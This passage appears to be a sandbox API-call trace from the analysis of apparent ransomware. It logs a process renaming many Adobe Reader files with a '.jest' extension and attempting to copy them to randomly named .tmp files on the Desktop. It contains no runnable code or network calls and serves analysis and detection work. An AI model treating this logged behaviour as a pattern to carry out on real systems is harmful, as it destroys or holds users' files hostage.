halpmcxz\\desktop\\h4ay5tzintqp-_strdpg5gb76x4lcuqpownyuzsq5rwztsxr_wvehf_h6mwh3nzmemqowxflpvwewptekwjfcwj4wdbxqzxcroxw.tmp")) returned 0 [0151.788] GetLastError () returned 0x2 [0151.789] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.789] CoFreeUnusedLibraries () [0151.789] GetTickCount () returned 0x1157b67 [0151.789] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.789] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.789] GetTickCount () returned 0x1157b67 [0151.789] IsWindowVisible (hWnd=0x30268) returned 0 [0151.789] Sleep (dwMilliseconds=0x0) [0151.790] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\standardbusiness.pdf.jest")) returned 1 [0151.793] GetLastError () returned 0x0 [0151.794] VarBstrFromR4 (in: fltIn=0x479450bd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.48") returned 0x0 [0151.794] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.794] CoFreeUnusedLibraries () [0151.794] GetTickCount () returned 0x1157b67 [0151.794] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.794] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.794] GetTickCount () returned 0x1157b67 [0151.795] IsWindowVisible (hWnd=0x30268) returned 0 [0151.795] Sleep (dwMilliseconds=0x0) [0151.796] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yy9TViDnOP7ykdhy2Ii3bMnbhhHKvM0v8 UkzFfr_vg0cpASSgjieV_Zf5 QeWZb6kwPplfNTp3PX1_mOtvhSIuMJ7_ovEY7UCm.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yy9tvidnop7ykdhy2ii3bmnbhhhkvm0v8 ukzffr_vg0cpassgjiev_zf5 qewzb6kwpplfntp3px1_motvhsiumj7_ovey7ucm.tmp")) returned 0 [0151.796] GetLastError () returned 0x2 [0151.796] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.796] CoFreeUnusedLibraries () [0151.796] GetTickCount () returned 0x1157b67 [0151.796] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.796] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.796] GetTickCount () returned 0x1157b67 [0151.797] IsWindowVisible (hWnd=0x30268) returned 0 [0151.797] Sleep (dwMilliseconds=0x0) [0151.797] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\dynamic.pdf.jest")) returned 1 [0151.798] GetLastError () returned 0x0 [0151.798] VarBstrFromR4 (in: fltIn=0x479450bd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.48") returned 0x0 [0151.799] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.799] CoFreeUnusedLibraries () [0151.799] GetTickCount () returned 0x1157b67 [0151.799] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.799] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.799] GetTickCount () returned 0x1157b67 [0151.799] IsWindowVisible (hWnd=0x30268) returned 0 [0151.799] Sleep (dwMilliseconds=0x0) [0151.800] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lmc96zov-RMGLAicSKCPfzZit74cK69FN8iQXRqkFflVnFsw7Fbs5m5YG3eTwkDbtGI3V 4FWc O -_fEnXu47PwDXozHQEuQ-h.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lmc96zov-rmglaicskcpfzzit74ck69fn8iqxrqkfflvnfsw7fbs5m5yg3etwkdbtgi3v 4fwc o -_fenxu47pwdxozhqeuq-h.tmp")) returned 0 [0151.800] GetLastError () returned 0x2 [0151.801] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.801] CoFreeUnusedLibraries () [0151.801] GetTickCount () returned 0x1157b77 [0151.801] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.801] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.801] GetTickCount () returned 0x1157b77 [0151.801] IsWindowVisible (hWnd=0x30268) returned 0 [0151.801] Sleep (dwMilliseconds=0x0) [0151.802] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\signhere.pdf.jest")) returned 1 [0151.805] GetLastError () returned 0x0 [0151.805] VarBstrFromR4 (in: fltIn=0x479450bf, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.49") returned 0x0 [0151.806] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.806] CoFreeUnusedLibraries () [0151.806] GetTickCount () returned 0x1157b77 [0151.806] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.806] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.806] GetTickCount () returned 0x1157b77 [0151.806] IsWindowVisible (hWnd=0x30268) returned 0 [0151.806] Sleep (dwMilliseconds=0x0) [0151.807] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p-10Xa-3cqPrmgE_LFG_Rl IonB6VoHp6KAJZEQt1YYcN_kpNVcoDcN7YvW4woCwh pI_f2qLfcxYu17A8BuK4tVsZ xEOG5wuX3j.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p-10xa-3cqprmge_lfg_rl ionb6vohp6kajzeqt1yycn_kpnvcodcn7yvw4wocwh pi_f2qlfcxyu17a8buk4tvsz xeog5wux3j.tmp")) returned 0 [0151.807] GetLastError () returned 0x2 [0151.808] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.808] CoFreeUnusedLibraries () [0151.808] GetTickCount () returned 0x1157b77 [0151.808] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.808] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.808] GetTickCount () returned 0x1157b77 [0151.808] IsWindowVisible (hWnd=0x30268) returned 0 [0151.808] Sleep (dwMilliseconds=0x0) [0151.809] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\standardbusiness.pdf.jest")) returned 1 [0151.810] GetLastError () returned 0x0 [0151.810] VarBstrFromR4 (in: fltIn=0x479450bf, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.49") returned 0x0 [0151.810] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.811] CoFreeUnusedLibraries () [0151.811] GetTickCount () returned 0x1157b77 [0151.811] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.811] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.811] GetTickCount () returned 0x1157b77 [0151.811] IsWindowVisible (hWnd=0x30268) returned 0 [0151.811] Sleep (dwMilliseconds=0x0) [0151.812] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ERRglJrv2AEt0E8sT6VT9G1o87WbGRB29xTAA7PgGqofK6ZYBPfFQCuzEFbTv0mu-UERqfcNLAGS 9DOZLXWqa-jGtSleDMBf0w.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\errgljrv2aet0e8st6vt9g1o87wbgrb29xtaa7pggqofk6zybpffqcuzefbtv0mu-uerqfcnlags 9dozlxwqa-jgtsledmbf0w.tmp")) returned 0 [0151.812] GetLastError () returned 0x2 [0151.813] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.813] CoFreeUnusedLibraries () [0151.813] GetTickCount () returned 0x1157b87 [0151.813] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.813] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.813] GetTickCount () returned 0x1157b87 [0151.813] IsWindowVisible (hWnd=0x30268) returned 0 [0151.813] Sleep (dwMilliseconds=0x0) [0151.813] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\dynamic.pdf.jest")) returned 1 [0151.814] GetLastError () returned 0x0 [0151.815] VarBstrFromR4 (in: fltIn=0x479450c1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.51") returned 0x0 [0151.815] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.815] CoFreeUnusedLibraries () [0151.815] GetTickCount () returned 0x1157b87 [0151.815] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.815] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.815] GetTickCount () returned 0x1157b87 [0151.815] IsWindowVisible (hWnd=0x30268) returned 0 [0151.815] Sleep (dwMilliseconds=0x0) [0151.816] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qqD7E xkofP3oPStuqpLgh3xFCgflyLDYzz9nArzSPBiZdteocvc6FWnj2mEdEhLzx5qUD_LoBzamW4uVB26aotJcKk89pRoEGL3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qqd7e xkofp3opstuqplgh3xfcgflyldyzz9narzspbizdteocvc6fwnj2medehlzx5qud_lobzamw4uvb26aotjckk89proegl3.tmp")) returned 0 [0151.817] GetLastError () returned 0x2 [0151.817] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.817] CoFreeUnusedLibraries () [0151.817] GetTickCount () returned 0x1157b87 [0151.817] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.817] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.817] GetTickCount () returned 0x1157b87 [0151.817] IsWindowVisible (hWnd=0x30268) returned 0 [0151.817] Sleep (dwMilliseconds=0x0) [0151.818] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\signhere.pdf.jest")) returned 1 [0151.825] GetLastError () returned 0x0 [0151.826] VarBstrFromR4 (in: fltIn=0x479450c1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.51") returned 0x0 [0151.826] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.826] CoFreeUnusedLibraries () [0151.827] GetTickCount () returned 0x1157b87 [0151.827] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.827] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.827] GetTickCount () returned 0x1157b87 [0151.827] IsWindowVisible (hWnd=0x30268) returned 0 [0151.827] Sleep (dwMilliseconds=0x0) [0151.828] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3GbDGyMV52Od3eYXN3kIN4YZ2UiDbhtMx8UbHnl_PAQcPGV2MPmN7Dx6tLblm9I9f7BfYuFLxVRaCRrXmRfJ59HmT9bJ4oJTET1q.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3gbdgymv52od3eyxn3kin4yz2uidbhtmx8ubhnl_paqcpgv2mpmn7dx6tlblm9i9f7bfyuflxvracrrxmrfj59hmt9bj4ojtet1q.tmp")) returned 0 [0151.828] GetLastError () returned 0x2 [0151.828] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.829] CoFreeUnusedLibraries () [0151.829] GetTickCount () returned 0x1157b96 [0151.829] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.829] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.829] GetTickCount () returned 0x1157b96 [0151.829] IsWindowVisible (hWnd=0x30268) returned 0 [0151.829] Sleep (dwMilliseconds=0x0) [0151.829] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\standardbusiness.pdf.jest")) returned 1 [0151.830] GetLastError () returned 0x0 [0151.831] VarBstrFromR4 (in: fltIn=0x479450c3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.52") returned 0x0 [0151.831] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.831] CoFreeUnusedLibraries () [0151.831] GetTickCount () returned 0x1157b96 [0151.831] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.831] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.831] GetTickCount () returned 0x1157b96 [0151.831] IsWindowVisible (hWnd=0x30268) returned 0 [0151.831] Sleep (dwMilliseconds=0x0) [0151.832] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\D4qA6MWiDf0Nq5vYp8PZWS 8QGDrLXhou3-GrfuEk46GrkCjKKYJEfJg9GNpNZsie7f2y4E7MjJtOI1p xEj8--6B725cp4UOU S.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d4qa6mwidf0nq5vyp8pzws 8qgdrlxhou3-grfuek46grkcjkkyjefjg9gnpnzsie7f2y4e7mjjtoi1p xej8--6b725cp4uou s.tmp")) returned 0 [0151.832] GetLastError () returned 0x2 [0151.834] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.834] CoFreeUnusedLibraries () [0151.834] GetTickCount () returned 0x1157b96 [0151.834] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.834] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.834] GetTickCount () returned 0x1157b96 [0151.834] IsWindowVisible (hWnd=0x30268) returned 0 [0151.834] Sleep (dwMilliseconds=0x0) [0151.834] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecs.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecs.htm.jest")) returned 1 [0151.836] GetLastError () returned 0x0 [0151.836] VarBstrFromR4 (in: fltIn=0x479450c3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.52") returned 0x0 [0151.836] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.837] CoFreeUnusedLibraries () [0151.837] GetTickCount () returned 0x1157b96 [0151.837] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.837] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.837] GetTickCount () returned 0x1157b96 [0151.837] IsWindowVisible (hWnd=0x30268) returned 0 [0151.837] Sleep (dwMilliseconds=0x0) [0151.838] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecs.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0oEYOVwk-GLdUnnRmD5dD5zkUnNHxddkH5wyPd9nsNX9w9ui2dDrXgLLSfxJpdyzxDV3I3LNT_BZwQp PQTRjQAhDeEbWUxXbf0-e.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0oeyovwk-gldunnrmd5dd5zkunnhxddkh5wypd9nsnx9w9ui2ddrxgllsfxjpdyzxdv3i3lnt_bzwqp pqtrjqahdeebwuxxbf0-e.tmp")) returned 0 [0151.838] GetLastError () returned 0x2 [0151.839] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.839] CoFreeUnusedLibraries () [0151.839] GetTickCount () returned 0x1157b96 [0151.839] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.839] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.839] GetTickCount () returned 0x1157b96 [0151.839] IsWindowVisible (hWnd=0x30268) returned 0 [0151.839] Sleep (dwMilliseconds=0x0) [0151.840] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\signhere.pdf.jest")) returned 1 [0151.841] GetLastError () returned 0x0 [0151.841] VarBstrFromR4 (in: fltIn=0x479450c3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.52") returned 0x0 [0151.841] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.842] CoFreeUnusedLibraries () [0151.842] GetTickCount () returned 0x1157b96 [0151.842] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.842] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.842] GetTickCount () returned 0x1157b96 [0151.842] IsWindowVisible (hWnd=0x30268) returned 0 [0151.842] Sleep (dwMilliseconds=0x0) [0151.843] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ABC-NIjjA9qYF-zqj a32-BB-zykUdf2OkjYdqW7qG_zD gZ-zFQrHk01 e8uz6wRd2pYYknZJwzfrgy65YLCpL6FtCkilMqKiQp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\abc-nijja9qyf-zqj a32-bb-zykudf2okjydqw7qg_zd gz-zfqrhk01 e8uz6wrd2pyyknzjwzfrgy65ylcpl6ftckilmqkiqp.tmp")) returned 0 [0151.843] GetLastError () returned 0x2 [0151.844] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.844] CoFreeUnusedLibraries () [0151.844] GetTickCount () returned 0x1157ba6 [0151.844] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.844] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.844] GetTickCount () returned 0x1157ba6 [0151.844] IsWindowVisible (hWnd=0x30268) returned 0 [0151.844] Sleep (dwMilliseconds=0x0) [0151.844] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\hanko.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Hanko.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\hanko.pdf.jest")) returned 1 [0151.848] GetLastError () returned 0x0 [0151.848] VarBstrFromR4 (in: fltIn=0x479450c5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.54") returned 0x0 [0151.849] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, 